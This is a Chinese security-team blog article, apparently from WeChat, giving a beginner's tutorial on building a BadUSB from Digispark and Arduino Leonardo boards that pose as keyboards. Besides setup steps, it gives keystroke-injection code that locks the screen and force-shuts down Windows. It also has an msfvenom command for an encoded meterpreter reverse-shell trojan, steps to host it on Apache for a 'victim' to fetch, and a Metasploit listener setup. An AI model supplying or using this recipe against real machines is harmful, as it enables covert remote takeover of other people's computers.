事前了解和准备
什么是badusb?
BadUSB是一种通过重写U盘固件伪装成USB输入设备(键盘,网卡)用于恶意用途的usb设备。
攻击原理
HID(Human Interface Device,是计算机直接与人交互的设备,例如键盘、鼠标等)攻击的一种。攻击者通过将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。
如何制作一个badusb?
需要准备的材料:
digispark 开发板
(淘宝9块钱一个)
Arduino Leonardo
(淘宝26块钱一个)
或者树莓派 zero w(无线版本)(本次未尝试该版本)
需要的软件:
a)Arduino IDE(烧录软件)
b)Digispark (驱动程序)
c)Automator(编程)
软件下载地址及说明:
a)Arduino IDE(烧录软件)
https://www.arduino.cc/en/main/software (这个是arduino 官网,有所有的软件版本,最新版是1.8.12,下载1.6.6之后版本的软件需要手动安装驱动,后续会说明。)
https://downloads.arduino.cc/arduino-1.6.5-r5-windows.exe (这个是1.6.5版本,可以直接安装驱动。)
b)Digispark (驱动程序)
https://github.com/digistump/DigistumpArduino
c)Automator(编程)
https://github.com/Catboy96/Automator
环境配置
1.6.5版本Arduino IDE环境配置
Arduino IDE安装完成后,需要先安装驱动,打开文件-首选项
2
把这个网址添加到附加开发板管理网址: https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json
3
打开工具,开发板管理
4
下载disispark开发板
备注:1.6.6以下的版本会直接安装驱动。
1.6.6以上版本Arduino IDE环境配置
1
在github上下载软件包,将解压后的安装包复制到arduino/haedware目录下
2
ArduinohardwareDigistumpArduinotoolsmicronucleus-2.0a4目录中找到驱动安装程序。
3
配置arduino IDE读取路径
打开ArduinohardwareDigistumpArduino
digistump-avr下的platform文件,将tools.micronucleus.cmd.path=后路径修改为驱动包下launcher的路径C:/Program Files (x86)/Arduino/hardware/DigistumpArduino/tools/micronucleus-2.0a4/launcher
验证能否正常使用
能否正常编译:
打开工具选择开发板选项在里面找到 Digispark ATtiny(Defauit --16.5)确认。在选择文件选择示例中找到 Digispark Keyboars 之后选择 keyborad,点击验证。
能否正常烧录:
出现Plug in device now... (will timeout in 60 seconds)说明能够正常使用,可以开始输入自己想要的代码。
digispark制作
按照前面的配置将恶意代码烧录到digispark中即可
锁屏代码
#include "DigiKeyboard.h"
void setup() {//初始化
}
void loop()//循环
{
DigiKeyboard.delay(200);//延迟0.2秒
DigiKeyboard.sendKeyStroke(KEY_L, MOD_GUI_LEFT);//Win+R
}
Arduino Leonardo制作
Arduino Leonardo制作的流程大体上和digispark是一样的,但是需要稍微修改一些配置。
1. 开发板需要修改为Arduino Leonardo
2. 烧录时需要选择对应的端口
关机代码
#include <Keyboard.h>
void setup() {
Keyboard.begin();
delay(3000);
Keyboard.press(KEY_LEFT_GUI);
delay(500);
Keyboard.press('r');
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(500);
Keyboard.println("SHUTDOWN -S -F -T 0");
delay(5000);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.end();
}
备注:digispark制作时可以通过Automator辅助编写代码
正式制作badusb(远控)
1
远控木马制作
在kali上利用msf生成木马,输入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘x00’ lhost=kali的IP lport=你想监听的端口 -f exe > /root/shell.exe
2
启动Apache2
为了能够使受害者能够从服务器上下载shell.exe,需要启动Apache2,并将shell.exe复制到/var/www/html
server apache2 start
cp shell.exe /var/www/html/
3
启动arduino IDE
将代码烧录到Arduino Leonardo(文末附代码)
4
开启监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost kali的IP
set lport 777(制作木马时的端口)
5
插入badusb
受害者插入badusb后就能实现远控
参考资料:
【1】https://blog.csdn.net/qq_37964989/article/details/102580623?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task
【2】https://blog.csdn.net/qq_26091745/article/details/98092211?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task
【3】https://blog.csdn.net/kclax/article/details/90722080
声明:
本公众号发表的原创文章,作为技术分享使用,均基于作者的主观判断,代表个人理解,并不保证一定正确,仅供大家参考。
Forest Team拥有该文章的修改和解释权。如欲引用、转载或传播此文章,必须包括版权声明等全部内容。未经Forest Team允许,不得任意修改或删减文章内容,不得以任何方式将其用于商业目的。
团队
歼剿漏洞风险,刻录安全密码。
Forest team 安全团队每月分享高质优量的原创技术干货,知识共享安全共创,关注我们,共同夯固网络之舰。
微信号 : ForestTeam
原文始发于微信公众号(Th0r安全):Badusb初级制作
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论